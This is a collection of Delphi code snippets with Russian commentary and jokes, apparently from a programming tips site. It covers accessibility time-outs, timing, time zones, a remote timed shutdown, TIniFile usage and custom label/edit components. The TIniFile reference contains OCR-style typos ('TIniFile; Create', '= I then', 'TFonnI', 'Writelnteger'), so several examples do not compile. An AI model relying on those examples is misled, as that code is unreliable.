 end;
 { 
  Sets the time-out period associated with the accessibility features. 
  The pvParam parameter must point to anACCESSTIMEOUT structure that 
  contains the new parameters. 
  Set the cbSize member of this structure and the uiParam 
  parameter to sizeof(ACCESSTIMEOUT). 
}
 { 
  Setzt Informationen zu den ACCESSEDTIMEOUT-Eigenschaften. 
  "uiParam" erwartet die Gro?e der ACCESSEDTIMEOUT-Struktur, 
  die in "pvParam" ubergeben werden muss. 
}
 procedure SetAccessTimeOut(bTimeOut, bFeedBack: Boolean; iTimeOutTime: Integer);
   // bTimeOut: If true, a time-out period has been set for accessibility features. 
  // bFeedBack: If true, the operating system plays a descending 
  //                    siren sound when the time-out period elapses and the 
  //                    accessibility features are turned off. 
  // iTimeOutTime: Timeout in ms 
var
   AccessTimeOut: TAccessTimeOut;
 begin
   ZeroMemory(@AccessTimeOut, SizeOf(TAccessTimeOut));
   AccessTimeOut.cbSize := SizeOf(TAccessTimeOut);
   case bTimeOut of
     True: AccessTimeOut.dwFlags  := ATF_TIMEOUTON;
     False: AccessTimeOut.dwFlags := 0;
   end;
   if bFeedBack then
     AccessTimeOut.dwFlags := AccessTimeOut.dwFlags or ATF_ONOFFFEEDBACK;
   AccessTimeOut.iTimeOutMSec := iTimeOutTime;
   SystemParametersInfo(SPI_SETACCESSTIMEOUT, SizeOf(AccessTimeOut),
     @AccessTimeOut, SPIF_UPDATEINIFILE or SPIF_SENDWININICHANGE);
 end;
 // Test it: 
procedure TForm1.Button1Click(Sender: TObject);
 begin
   SetAccessTimeOut(True, True, 600000); // 10 min. timeout 
end;

Засечь время.

Статьи по Delphi (017)…
И-нетчика на улице спросили: - Который час? - Если по Гринвичу - то 12, если по Московскому - то не знаю, нет часов.

Засекание обычно нужно в двух случаях: самому программисту – узнать, как программа работает быстрее, или для информирования пользователя, сколько программа уже трудится.

Для засекания времени удобнее всего использовать функцию GetTickCount, но нельзя забывать о ее погрешности при измерении очень коротких промежутков времени, и о том, что программы в Windows работают с непостоянной скоростью. Поэтому не стоит засекать быстрые процессы, и не стоит делать выводы о каком-то алгоритме после одного тестирования. И еще. Если вы тестируете алгоритм, то поставьте его в цикл, выполнив его, например, тысячу раз, а потом получившееся время делите на тысячу. Так точнее. Эта программа засекает, сколько времени меняется цвет точек окна в этой программе.

procedure TForm1.Button1Click(Sender: TObject);
var
  i, t: integer;
begin
  t := GetTickCount;
  randomize;
  for i := 0 to 100000 do
    Form1.Canvas.Pixels[i mod Form1.ClientWidth,
    i div Form1.ClientWidth] :=
    RGB(random(255), random(255), random(255));
  Form1.Caption := IntToStr(GetTickCount - t);
end;

Вывести временную зону.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function GetTimeZone: string;
 var
   TimeZone: TTimeZoneInformation;
 begin
   GetTimeZoneInformation(TimeZone);
   Result := 'GMT ' + IntToStr(TimeZone.Bias div -60);
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   label1.Caption := GetTimeZone;
 end;

Синхронизация завершения работы Windows.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
Diese Methode funktioniert nur auf Windows NT/2000/XP 
}
 { 
Works only on Windows NT/2000/XP systems 
}
 function TimedShutDown(Computer: string; Msg: string; Time: Word; Force: Boolean; Reboot: Boolean): Boolean;
 var
   rl: Cardinal;
   hToken: Cardinal;
   tkp: TOKEN_PRIVILEGES;
 begin
   //get user privileges to shutdown the machine, we are talking about win nt and 2k here 
  if not OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then
     ShowMessage('Cannot open process token.')
   else
   begin
     if LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid) then
     begin
       tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
       tkp.PrivilegeCount := 1;
       AdjustTokenPrivileges(hToken, False, tkp, 0, nil, rl);
       if GetLastError <> ERROR_SUCCESS then
        ShowMessage('Error adjusting process privileges.');
     end
   else
     ShowMessage('Cannot find privilege value.');
   end;
   Result := InitiateSystemShutdown(PChar(Computer), PChar(Msg), Time, Force, Reboot)
 end;
 //Start shut down 
procedure TForm1.Button1Click(Sender: TObject);
 begin
   if not TimedShutDown('\\computername', 'you have to shutdown', 30, true, true) then
     ShowMessage('function failed...');
 end;
 //Abort shut down 
procedure TForm1.Button2Click(Sender: TObject);
 begin
   AbortSystemShutdown('\\computername');
 end;

Некоторые модификации методов ReadSection и ReadSections объекта, типа TIniFile.

Автор: VID WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Некоторые модификации методов ReadSection и ReadSections объекта, типа TIniFile
Отличие функции ReadSectionEx от метода ReadSection, объекта типа TIniFile,
заключается в том, что размер буффера для сохранения содержимого файла,
не является константой (16Кб, в модуле IniFiles.pas), а представляет собой
переменную величину, значение которой равно размеру файла инициализации
(IniFileName). Таким образом решается проблема, с нехваткой выдыленного
размера оперативной памяти для операции чтения содержимого секции (SectionName).
Так же, в случае успешнонго выполнения чтения секции Ini-файла, функция
возвращает количество строк в заполненном списке (Strings)
Функция ReadSectionsEx имеет те же отличия от метода ReadSection, что и функция
ReadSectionEx от метода ReadSection. Функция ReadSectionsEx помещает в список
Strings все секции указанного INI-файла (IniFileName)
Зависимости: Windows, SysUtils, Classes, IniFiles
Автор:       VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright:   VID (базируется на коде соответствующих методов, в модуле IniFiles.pas)
Дата:        24 мая 2002 г.
***************************************************** }
unit INIExtension;
interface
uses Windows, SysUtils, Classes, IniFiles;
function ReadSectionsEx(IniFileName: string; Strings: TStrings): Integer;
function ReadSectionEx(IniFileName: string; SectionName: string;
  Strings: TStrings): Integer;
implementation
function ReadSectionsEx(IniFileName: string; Strings: TStrings): Integer;
var
  BufSize: Integer;
  SR: TSearchRec;
  buffer, P: Pchar;
begin
  Result := -1;
  if not FileExists(IniFileName) then
    EXIT;
  FindFirst(IniFileName, faAnyFile, SR);
  BufSize := Sr.Size;
  FindClose(SR);
  GetMem(Buffer, BufSize);
  try
    Strings.BeginUpdate;
    try
      Strings.Clear;
      if GetPrivateProfileSectionNames(buffer, BufSize,
        Pchar(IniFileName)) <> 0 then
      begin
        P := Buffer;
        while P^ <> #0 do
        begin
          Strings.Add(P);
          Inc(P, StrLen(P) + 1);
        end;
      end;
      Result := Strings.Count;
    finally
      Strings.EndUpdate;
    end;
  finally
    FreeMem(Buffer, BufSize)
  end;
end;
function ReadSectionEx(IniFileName: string; SectionName: string;
  Strings: TStrings): Integer;
var
  BufSize: Integer;
  SR: TSearchRec;
  buffer, P: Pchar;
begin
  Result := -1;
  FindFirst(IniFileName, faAnyFile, SR);
  BufSize := Sr.Size;
  FindClose(SR);
  GetMem(Buffer, BufSize);
  try
    Strings.BeginUpdate;
    try
      Strings.Clear;
      if GetPrivateProfileString(PChar(SectionName), nil, nil, Buffer, BufSize,
        PChar(IniFileName)) <> 0 then
      begin
        P := Buffer;
        while P^ <> #0 do
        begin
          Strings.Add(P);
          Inc(P, StrLen(P) + 1);
        end;
      end;
      Result := Strings.Count;
    finally
      Strings.EndUpdate;
    end;
  finally
    FreeMem(Buffer, BufSize)
  end;
end;
end.

Пример использования:

var
  TargetList: TStringList;
  Ini: TIniFile;
begin
  TargetList := TStringList.create;
  Ini := TiniFile.create('system.ini');
  //Заполняем список TargetList параметрами секции boot
  ReadSectionEx(Ini.FileName, 'Boot', TargetList);
  //Заполняем список TargetList именами всех секций
  ReadSectionsEx(Ini.FileName, TargetList);
  Ini.Free;
  TargetList.Free;
end;

TIniFile.

Оформил: DeeCo

В то время как Microsoft, без сомнений, хотела бы навсегда устранить INI-файлы из Windows и заставить разработчиков приложений хранить информацию в Registry, становится ясно, что какое-то время INI-файлы еще просуществуют. INI-файлы являются простыми текстовыми файлами с расширением .INI, обычно хра- нящимися в каталоге Windows. Они разработаны для запоминания информации о прикладных программах, их параметрах, конфигурации, положении окон и т.п. По мере роста популярности Windows и роста числа поддерживаемых приложений, большинство пользователей обзавелось десятками INI-файлов, засоряющих жесткий диск. К счастью, они не требуют много места и по-прежнему являются удобным способом запоми- нания параметров конфигурации. Таким образом, INI-файлы реально экономят время. Если вы разрабатываете большое и сложное приложение со многими конфигурируемыми пользователем параметрами, то все-таки лучше воспользоваться доступом к Windows Registry при помощи класса TRegistry, чем полагаться на рудиментарные INI-файлы, так распространенные в старых версиях Windows. TRegistry освещается в главе 6, "TRegistry и TRegIniFile." INI-файлы инкапсулируются классом , который является прямым конечным потомком TObject. Для использования класса и любого его члена необходимо включить IniFiles в пункт uses того модуля, который получает доступ к INI-файлам. INI-файлы разделены на поименованные разделы, содержащие идентификаторы. Каждому идентифика- тору можно присвоить значение. Обычно значение является двоичным, целым или строковым. В листинге 4-1, фрагменте типичного файла WIN.INI, разделы идентифицируются квадратными скобками, окружающими имя каждого раздела. WIN.INI использован только как пример. Ваше приложение, как правило, должно поддерживать собственный INI-файл. Листинг 4-1 Раздел типичного файла WIN.INI
[windows]
run =
NullPort = None
load =
device = LaserJet 5 P, HPPCL5MS, LPT1:
[desktop]
Wallpaper = (None)
TileWallpaper = 1
WallpaperStyle = O
Pattern = (None)
[Intl]
iCountry = 1
ICurrDigits = 2
iCurrency = 0
iDate = 0
iDigits = 2
iLZero = 1
iMeasure = 1
iNegCurr = 0
iTime = 0
iTLZero = 0
Как видно из примера, идентификаторы отделены от своих значений знаком равенства и имеют вид идентификатор=значение. Такое выражение известно как ключ. Таблица 4-1 показывает свойства и методы, реализуемые . Таблица 4-1 Методы и свойства реализуемые TIniFile Использовать или установить это ... Чтобы сделать это ... Наследование Create Сконструировать экземпляр TIniFile. TObject DeleteKey Удалить идентификатор INI-файла и его значение. Нет EraseSection Убрать из INI-файла целый раздел. Нет FileName Получить инкапсулированное имя INI-файла. Нет ReadBool Извлечь из INI-файла логическое значение. Нет Readinteger Извлечь из INI-файла целое значение. Нет ReadSection Извлечь из раздела INI-файла имена идентификаторов. Нет ReadSections Извлечь из INI-файла список имен разделов. Нет ReadSectionValues Извлечь из INI-файла все содержимое раздела. Нет ReadString Извлечь из INI-файла строковое значение. Нет WriteBool Записать в INI-файл логическое значение. Нет Writeinteger Записать в INI-файл целое значение Нет WriteString Записать в INI-файл строковое значение Нет

Важно.

Методы ТIniFi1е будут пытаться найти INI-файл в каталоге Windows (обычно c:\WINDOWS в Windows 95 или c:WINNT в Windows NT). Если вы хотите читать или писать INI-файл, расположенный не в каталоге Windows, следует явно добавить путь к имени INI-файла при его открытии в Create.

Метод Create.

Затрагиваемые объектыНазначение Метод Create создает экземпляр , который позволяет манипулировать INI-файлом. Объявление constructor Create (const FileName: string); Параметры FileName Имя INI-файла, с которым ассоциируется объект . Пример синтаксиса procedure TForm1.FormCreate (Sender: TObject); var MyIni: TIniFile; begin //создание экземпляра Myini и присвоение ему //INI-файла MyIni : = TIniFile; Create('TEST.INI'); // *** Здесь выполнить обработку INI-файла *** MyIni.Free; end; Описание; Create конструирует объект , распределяя для него достаточный объем памяти. Единственный параметр, fileName, содержит Windows имя файла действительного INI-файла. Если к имени файла не добавлен путь, программа будет искать файл в каталоге Windows (обычно c:\WINDOWS или c:\WINNT).

Метод DeleteKey.

Затрагиваемые объектыНазначение Метод DeleteKey удаляет ключ из INI-файла. Объявление procedure DeleteKey(const Section, Ident: String); Параметры Section Раздел INI-файла, который содержит ключ. Ident Имя удаляемого идентификатора. Пример синтаксиса
procedure TForm1.Button1Click(Sender: TObject);
var
  Myini: TIniFile;
begin
  MyIni: = TIniFile.Create('DELETE.INI');
  // Удалить ключ, содержащий идентификатор Option1 из раздела
  // Main INI-файла
  MyIni.DeleteKey('Main', 'Option1');
  MyIni.Free;
end;
Описание DeleteKey очищает целый ключ, идентификатор и его значение.

Метод EraseSection.

Затрагиваемые объектыНазначение Метод EraseSection удаляет указанный раздел INI-файла. Объявление procedure ErageSection(const Section: string); Параметры Section Имя раздела, подлежащего удалению. Пример синтаксиса
// данная процедура откроет INI-файл с именем " TEST.INI", найденный в
// каталоге Windows, и удалит раздел под названием Configuration
procedure TForm1.Button1Click(Sender: TObject);
// объявление переменной типа TIniFile под названием MyIni
var
  MyIni: TIniFile;
begin
  // создание экземпляра MyIni и присвоение ему INI-файла
  MyIni := TIniFile.Create('TEST.INI');
  // Удалить раздел в TEST.INI под названием Configuration
  MyIni.EraseSection('Configuration');
  MyIni.Free;
end;
Описание EraseSection удаляет весь раздел INI-файла. Имена разделов отмечаются квадратными скобками, поэтому раздел Configuration, использованный выше, должен выглядеть в файле TEST.INI следующим образом:
[Configuration]
Keyl
Кеу2
и т.д.
Раздел продолжается до имени следующего раздела или до конца файла в зависимости от того, что будет достигнуто раньше.

Свойство FileName.

Затрагиваемые объектыНазначение Метод TFileName содержит имя файла, инкапсулированное объектом . Объявление property FileName: string; Пример Синтаксиса
// данная процедура будег печатать имя INI-файла,
// инкапсулированное в объекте TIniFile
procedure TForm1.Button1Click(Sender: TObject);
var
  MyIni: TIniFile;
begin
  // создание экзенпляра MyIni и присвоение ему INI-файла
  MyIni: = TIniFile.Create('TEST.INI');
    // печатать имя INI-файла в заголовке формы
    Form1.Caption := MyIni.FileName;
    MyIni.Free;
end;
Описание FileName является свойством времени выполнения, предназначенным только для чтения, и содержит имя INI-файла, инкапсулированное в экземпляре .

Свойство ReadBool.

Затрагиваемые объектыНазначение Свойство ReadBool получает двоичное значение из INI-файла. Объявление function ReadBool (const Section, Ident: stringn; Default: Boloean) : Boolean; Параметры Section Имя раздела, в котором расположен идентификатор. Ident Идентификатор, подлежащий считыванию. Default Значение идентификатора по умолчанию. Пример Синтаксиса
// Данная процедура проверяет идентификатор TileWallpaper раздела Desktop
// в файле WIN.INI. Затем устанавливается заголовок формы, указывающий
// на то, включена (on) или выключена (off) опция TileWallpaper.
procedure TForm1.FormCreate(Sender: TObject);
var
  MyIni: TIniFile;
begin
  MyIni: = TIniFile.Create('Win.ini');
  if MyIni.ReadBool('Desktop', 'TileWallpaper', True) = True then
    Form1.Caption := 'Your desktop wallpaper is tiled';
else
  Form1.Caption: = 'Your desktop wallpaper is not tiled';
  MyIni.Free;
end;
Описание ReadBool извлекает из идентификатора в INI-файле логическое значение. В приведенном примере анализируется идентификатор TileWallpaper раздела [Desktop] в WIN.INI и возвращается содержащееся в нем значение. Значение 1 указывает на True, 0 = на False. ReadBool похожа на Readinteger и ReadString в том, что все они возвращают значение, содержащееся в указанном идентификаторе в INI-файле.

Метод ReadInteger.

Затрагиваемые объектыНазначение Метод Readinteger возвращает целое значение из INI-файла. Объявление function Readlnteger(const Section, Ident: string; Default: Longint): liongint; Параметры Section Имя раздела, в котором расположен идентификатор. Ident Идентификатор, подлежащий считыванию. Default Значение идентификатора по умолчанию. Пример синтаксиса
// Данная процедура проверяет идентификатор iCountry раздела Inti
// в файле WIN.INI. Затем устанавливается заголовок формы,
// указывакщий на то, находитесь ли вы в Соединенных Штатах или нет.
procedure TForm1.FormCreate(Sender: TObject);
var
  MyIni: TIniFile;
begin
  MyIni := TIniFile.Create('win.ini');
  if MyIni.ReadInteger('Intl', 'iCountry', 1) = I then
    Form1.Caption := 'Your are in the Onited States';
else
  Form1.Caption: = 'Your are not in the United States';
  MyIni.Free;
end;
Описание ReadInteger извлекает из идентификатора в INI-файле целочисленное значение. В приведенном примере анализируется идентификатор iCountry раздела [Inti] в WIN.INI. Если идентификатор iCountry установлен в 1, это означает, что Control Panel Regional Settings установлены в конфигурацию Соединенных Штатов. ReadInteger похожа на ReadBool и ReadString в том, что все они возвращают значение, содержащееся в указанном идентификаторе в INI-файле.

Метод ReadSection.

Затрагиваемые объектыНазначение Метод ReadSection извлекает имена всех идентификаторов заданного раздела в INI-файле и запоминает их в строковом объекте. Объявление procedure ReadSection (const Section: string; Strings: Tstrfngs) ; Параметры Section Имя читаемого раздела. Strings Список строк, где будут запомнены значения. Пример синтаксиса
// Прежде всего добавим в форму ListBox. Данная процедура будет
// печатать список идентификаторов в разделе Desktop файла
// WIN.INI при создании формы
procedure TForm1.FormCreate(Sender: TObject);
var
  MyIni: TIniFile;
begin
  MyIni: = TIniFile.Create('WIN.INI');
  MyIni.ReadSection('Desktop', ListBox1.Items);
  MyIni.Free;
end;
Описание ReadSection извлекает имена идентификаторов в указанном разделе INI-файла и помещает их в строковый объект. Список можно поместить непосредственно в список строковых компонентов (как в свойство Items окна списка) или в независимый список строк. ReadSection не извлекает значения идентификаторов, но извлекает имена идентификаторов. Для извлечения идентификаторов и их текущих значений можно использовать ReadSectionValues. На рисунке 4-2 при помощи ReadSection отображен типичный раздел INI-файла.

Метод ReadSections.

Затрагиваемые объектыНазначение Метод ReadSections копирует все имена разделов в INI-файле в строковый объект. Объявление procedure ReadSections (Strings: TStrings) ; Параметры Strings Список имен разделов. Пример Синтаксиса
// Данный обработчик события при нажатии кнопки печатает имена
// разделов INI-файла в окне списка
procedure TForm1.Button1Click(Sender: TObject);
var
  MyIni: TIniFile;
begin
  ListBox1.Clear;
  MyIni := TIniFile.Create('test.ini');
  MyIni.ReadSections(listBox1.Items);
  MyIni.Free;
end;
Описание Строковый объект является списком строк, используемым компонентами (такими как окна списков), которым необходимо манипулировать со многими строками. ReadSections запоминает список имен разделов INI-файла в параметре Strings. В вышеприведенном примере кода данный список передается свойству Items окна списка, который также имеет тип TStrings. РИСУНОК 4-2 Окно списка отображает идентификаторы в разделе [Desktop] файла WIN.INI.

Метод ReadSectionValues.

Затрагиваемые объектыНазначение Метод ReadSectionValues извлекает из заданного раздела INI-файла все ключи. Объявление procedure ReadSectionValues (const Section: string; Strings; TStrings); Параметры Section Имя читаемого раздела. Strings Список строк, в котором запоминаются идентификаторы и их значения. Пример синтаксиса
// Прежде всего добавим к форме ListBox. Данная процедура будет
// печатать список идентификаторов и их значений из раздела
// Desktop файла WIN.INI при создании формы
procedure TForm1.FormCreate(Sender: TObject);
var
  MyIni: TIniFile;
begin
  MyIni := TIniFile.Create('WIN.INI').
    MyIni.ReadSectionValues('Desktop', ListBox1.Items);
  MyIni.Free;
end;
Описание ReadSectionValues извлекает из раздела INI-файла все ключи и запоминает их в строковом объекте точно так же, как они появляются в INI-файле: identifier=value В приведенном выше примере в окне списка отображается весь список (см. рис. 4-3). Используя свойство Values из TString можно отобразить отдельные значения. Или же можно скопировать весь раздел в список строк и получить доступ к каждой строке по индексу:
// В данном примере раздел Desktop файла WIN.INI считывается в
// список строк и затем в заголовке формы печатается первая
// строка. При этом используется ее индекс.
procedure TForm1.FormCreate(Sender: TObject);
var
  MyIni: TIniFile;
  MyStringList: TStringList;
begin
  MyIni := TIniFile.Create('WIN.INI');
  // получение экземпляра списка строк
  MyStringList := TStringList.Create;
  // копировать раздел в список строк
  MyIni.ReadSectionValues('Desktop', MyStringList);
  // печатать первую строку списка в заголовке формы
  Form1.Caption := MyStringList.Strings[0];
  MyIni.Free;
  MyStringList.Free;
end;
Результат показан на рисунке 4-4.

Метод ReadString.

Затрагиваемые объектыНазначение Метод ReadString считывает строковое значение из идентификатора в указанном разделе INI-файла. Объявление function ReadString(const Section, Jdent, Default: string): string; Параметры Section Имя раздела, в котором расположен идентификатор Ident Идентификатор, подлежащий считыванию. Default Значение идентификатора по умолчанию (возвращается, если идентификатор не найден). Пример синтаксиса
// Данная процедура проверяет идентификатор sCountry раздела Intl
// в файле WIN.INI. Затем устанавливается заголовок формы в значении
// идентификатора sCountry.
procedure TForm1.FormCreate(Sender: TObject);
var
  MyIni;
  TIniFile;
begin
  MyIni := TIniFile.Create('Win.ini');
  Form1.Caption := MyIni.ReadString('Intl', 'sCountry', 'no country listed');
  // не забудьте по завершении работи разрушить MyIni
  MyIni.Free;
end;
Описание ReadString извлекает строковое значение из идентификатора в INI-файле. В приведенном выше примере программа получает идентификатор с именем sCountry в разделе файла WIN.INI и печатает его значение в заголовке формы. ReadString похожа на ReadBool и Readinteger в том, что все они возвращают значения, содержащиеся в указанных идентификаторах INI-файла. РИСУНОК 4-3 Окно списка отображает идентификаторы и их значения в разделе [Desktop] файла WIN.INI. РИСУНОК 4-4 Получение отдельных идентификаторов вместе со значениями и печать в заголовке формы.

Метод WriteBool.

Затрагиваемые объектыНазначение Метод WriteBool записывает логическое значение в идентификатор в указанном разделе INI-файла. Объявление procedure WriteBool (const Section, Ident: string; Value: Boolean); Параметры Section Имя раздела, в котором расположен идентификатор. Ident Идентификатор, подлежащий записи. Value Значение, записываемое в идентификатор. Пример синтаксиса
// Данная процедура создает новый INI-файл с именем TEST.INI
// (если он еще не существует) и добавляет двоичный идентификатор
// SampleBooleanEntry со значением True. Если идентификатора нет,
// он также будет создан.
procedure TForm1.FormCreate(Sender: TObject);
var
  Writeini: TIniFile;
begin
  Writeini: = TIniFile.Create('TEST.INI');
  Writeini.WriteBool('Sample Section', 'SampleBooleanEntry', True);
  Writeini.Free;
end;
Описание WriteBool записывает в INI-файл логическое значение, заданное параметром Value. Раздел и идентификатор, куда будет записываться значение, определяются параметрами Section и Ident. Если раздел или идентификатор не существуют, они создаются. После запуска приведенного примера в каталоге Windows можно будет открыть вновь созданный TEST.INI, в котором будут представлены такие строки:
[Sample Section]
SampleBooleanEntry = 1
WriteBool используется так же, как Writeinteger и WriteString, = с единственным различием в типе записываемого значения.

Метод Writeinteger.

Затрагиваемые объектыНазначение Метод Writeinteger записывает целое значение в идентификатор в указанном разделе INI-файла. Объявление procedure Writeinteger (const Section, Ident: string; Value: Longint); Параметры Section Имя раздела, в котором расположен идентификатор. Ident Идентификатор, подлежащий записи. Value Значение, записываемое в идентификатор. Пример синтаксиса
// Данная процедура создает новый INI-файл с именем TEST.INI
// (если он еще не существует) и добавляет целый идентификатор
// SampleIntegerEntry со значением 12024. Если идентификатора
// нет, он также будет создан.
procedure TForm1.FormCreate(Sender: TObject);
var
  Writeini: TIniFile;
begin
  Writeini := TIniFile.Create('TEST.INI');
    Writeini.Writelnteger('Sample Section', 'SampleIntegerEntry', 12024);
    Writeini.Free;
end;
Описание Writeinteger записывает в INI-файл целое значение, заданное параметром Value. Раздел и идентификатор, куда будет записываться значение, определяются параметрами Section и Ident. Если раздел или идентификатор не существуют, они создаются. Если выполнить приведенный пример, в каталоге Windows можно будет открыть вновь созданный TEST.INI, в котором находятся такие строки:
[Sample Section]
SampleIntegerEntry = 12024
Writeinteger используется так же, как WriteBool и WriteString, = с единственным отличием в типе записываемого значения.

Метод WriteString.

Затрагиваемые объектыНазначение Метод WriteString записывает строковое значение в идентификатор в указанном разделе INI-файла. Объявление procedure WriteString(const Section, Ident, Value-, string); Параметры Section Имя раздела, в котором расположен идентификатор. Ident Идентификатор, подлежащий записи. Value Значение, записываемое в идентификатор. Пример синтаксиса
// Данная процедура создает новый INI-файл с именем TEST. INI
// (если он еще не существует) и добавляет строковый
// идентификатор SampleStringEntry со значением строки. Если
// идентификатора нет, он также будет создан.
procedure TFonnI.FormCreate(Sender: TObeject);
var
  Writeini: TIniFile;
begin
  Writeini := TIniFile.Create('TEST. INI'), •
    Writeini.WriteString('Sample Section', 'SampleStringEntry',
    'this is example of writing a string to an INI file');
    Writeini.Free;
end;
Описание WriteString записывает в INI-файл строковое значение, заданное параметром Value. Раздел и идентификатор, куда будет записываться значение, указываются параметрами Section и Ident. Если раздел или идентификатор не существуют, они создаются. После выполнения приведенного примера в каталоге Windows можно будет открыть вновь созданный TEST.INI, в котором представлены такие строки:
[Sample Section]
SamplectringEntry = this is example of writing a string to an INI file
WriteString используется так же, как WriteBool и Writeinteger, - с единственной разницей в типе записываемого значения.

Прокрутка текста заголовка.

Статьи по Delphi (017)…

var 
  a: string; 
procedure TForm1.FormCreate(Sender: TObject); 
begin 
  a := 'Look at here !...'; 
end; 
procedure TForm1.Timer1Timer(Sender: TObject); 
var  
  i: Integer; 
begin 
  Application.Title := a; 
  Form1.Caption     := a; 
  for i := 1 to (Length(a) - 1) do 
    a[i] := Application.Title[i + 1]; 
  a[Length(a)] := Application.Title[1]; 
end;

Комбинация TLabel и TEdit.

Статьи по Delphi (017)…

- Ваш компьютер не загружается. Мы требуем, чтоб сменили процессор! А в синей таблице (имеется в виду NC) были какие-то с решётками (имеются в виду защищённые системные файлы). Наш сын хорошо в этом разбирается, они в техникуме все компьютеры проходят. Он сказал, что это сбои на винчестере, но ему удалось от них избавиться...
unit Editlbl1;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, stdctrls;
type
  TLabelEdit = class(TWinControl)
  private
    { Private declarations }
    FEdit: TEdit;
    FLabel: TLabel;
    function GetLabelCaption: string;
    procedure SetLabelCaption(LabelCaption: string);
    function GetEditText: string;
    procedure SetEditText(EditText: string);
  protected
    { Protected declarations }
  public
    { Public declarations }
    constructor Create(AOwner: TComponent); override;
  published
    property LabelCaption: string read GetLabelCaption write SetLabelCaption;
    property EditText: string read GetEditText write SetEditText;
    property Left;
    property Top;
    property Width;
    property Height;
    property Text;
    property Font;
    { Можете опубликовать другие, необходимые вам свойства. }
    { Published declarations }
  end;
procedure Register;
implementation
constructor TLabelEdit.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  FEdit := TEdit.Create(self);
  FLabel := TLabel.Create(self);
  with FLabel do
  begin
    Width := FEdit.Width;
    visible := true;
    Parent := self;
    Caption := 'LabelEdit';
  end;
  with FEdit do
  begin
    Top := FLabel.Height + 2;
    Parent := self;
    Visible := true;
  end;
  Top := 0;
  Left := 0;
  Width := FEdit.Width;
  Height := FEdit.Height + FLabel.Height;
  Visible := true;
end;
function TLabelEdit.GetLabelCaption: string;
begin
  Result := FLabel.Caption;
end;
procedure TLabelEdit.SetLabelCaption(LabelCaption: string);
begin
  FLabel.Caption := LabelCaption;
end;
function TLabelEdit.GetEditText: string;
begin
  Result := FEdit.Text;
end;
procedure TLabelEdit.SetEditText(EditText: string);
begin
  FEdit.Text := EditText;
end;
procedure Register;
begin
  RegisterComponents('Test', [TLabelEdit]);
end;
end.

TLabel и TEdit без контейнера.

Статьи по Delphi (017)…

Автор: Mike Scott
Один компьютерщик рассказывает другому: - Представляешь,вчера возвращаюсь с работы чуть раньше обычного, а у жены в постели - незнакомый мужик. И глаза у обоих хитрые-хитрые... Я сразу неладное заподозрил,кинулся к компу, пытаюсь выйти в Интернет - а они, с%ки, пароль сменили...

При размещении на форме, создается TLabel, расположенный выше поля редактирования. При перемещении поля редактирования, TLabel "следует" за ним. При удалении поля редактирования, TLabel также удаляется. Имеется свойство LabelCaption, так что вы можете редактировать заголовок Tlabel. Вероятно вам потребуются и другие свойства TLabel, типа Font, но этот код только демонстрирует технологию, так что развивайте его по своему усмотрению.

unit LblEdit;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;
type
  TLabelEdit = class(TEdit)
  private
    FLabel: TLabel;
    procedure WMMove(var Msg: TWMMove); message WM_MOVE;
  protected
    procedure SetParent(Value: TWinControl); override;
    function GetLabelCaption: string; virtual;
    procedure SetLabelCaption(const Value: string); virtual;
  public
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
  published
    property LabelCaption: string read GetLabelCaption write
      SetLabelCaption;
  end;
procedure Register;
implementation
constructor TLabelEdit.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  { создаем TLabel }
  FLabel := TLabel.Create(nil);
  FLabel.Caption := 'Edit label';
end;
procedure TLabelEdit.SetParent(Value: TWinControl);
begin
  { убеждаемся, что TLabel имеет того же родителя что и TEdit }
  if (Owner = nil) or not (csDestroying in Owner.ComponentState) then
    FLabel.Parent := Value;
  inherited SetParent(Value);
end;
destructor TLabelEdit.Destroy;
begin
  if (FLabel <> nil) and (FLabel.Parent = nil) then
    FLabel.Free;
  inherited Destroy;
end;
function TLabelEdit.GetLabelCaption: string;
begin
  Result := FLabel.Caption;
end;
procedure TLabelEdit.SetLabelCaption(const Value: string);
begin
  FLabel.Caption := Value;
end;
procedure TLabelEdit.WMMove(var Msg: TWMMove);
begin
  inherited;
  { заставляем TLabel 'прилипнуть' к верху TEdit }
  if FLabel <> nil then
    with FLabel do
      SetBounds(Msg.XPos, Msg.YPos - Height, Width, Height);
end;
procedure Register;
begin
  RegisterComponents('Samples', [TLabelEdit]);
end;
initialization
  { Мы используем TLabel, поэтому для обеспечения
  "поточности" необходима регистрация }
  RegisterClass(TLabel);
end.

Полосатый TListBox.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

unit Unit1;
 interface
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   StdCtrls;
 type
   TListbox = class(StdCtrls.TListbox)
   private
     procedure wmEraseBkGnd(var Msg: TWMEraseBkGnd); message WM_ERASEBKGND;
   end;
      TForm1 = class(TForm)
     ListBox1: TListBox; // (!) ListBox1.Style := lbOwnerDrawFixed 
    Button1: TButton;
     procedure Button1Click(Sender: TObject);
     procedure ListBox1DrawItem(Control: TWinControl; Index: Integer;
       Rect: TRect; State: TOwnerDrawState);
     { ... }
   end;
 var
   Form1: TForm1;
 implementation
 {$R *.DFM}
 procedure TForm1.Button1Click(Sender: TObject);
 var
   i: Integer;
 begin
   for i := listbox1.Items.Count to listbox1.Items.Count + 5 do
     listbox1.Items.Add(Format('Item %d', [i]));
 end;
 { TListbox }
 const
   colors: array [Boolean] of TColor = ($FFFFC0, $C0FFFF);
 procedure TListbox.wmEraseBkGnd(var Msg: TWMEraseBkGnd);
 var
   cv: TCanvas;
   h, max: Integer;
   r: TRect;
   b: Boolean;
 begin
   Msg.Result := 1;
   h          := Perform(LB_GETITEMHEIGHT, 0, 0);
   if h = LB_ERR then h := ItemHeight;
   cv := TCanvas.Create;
   try
     cv.Handle := Msg.DC;
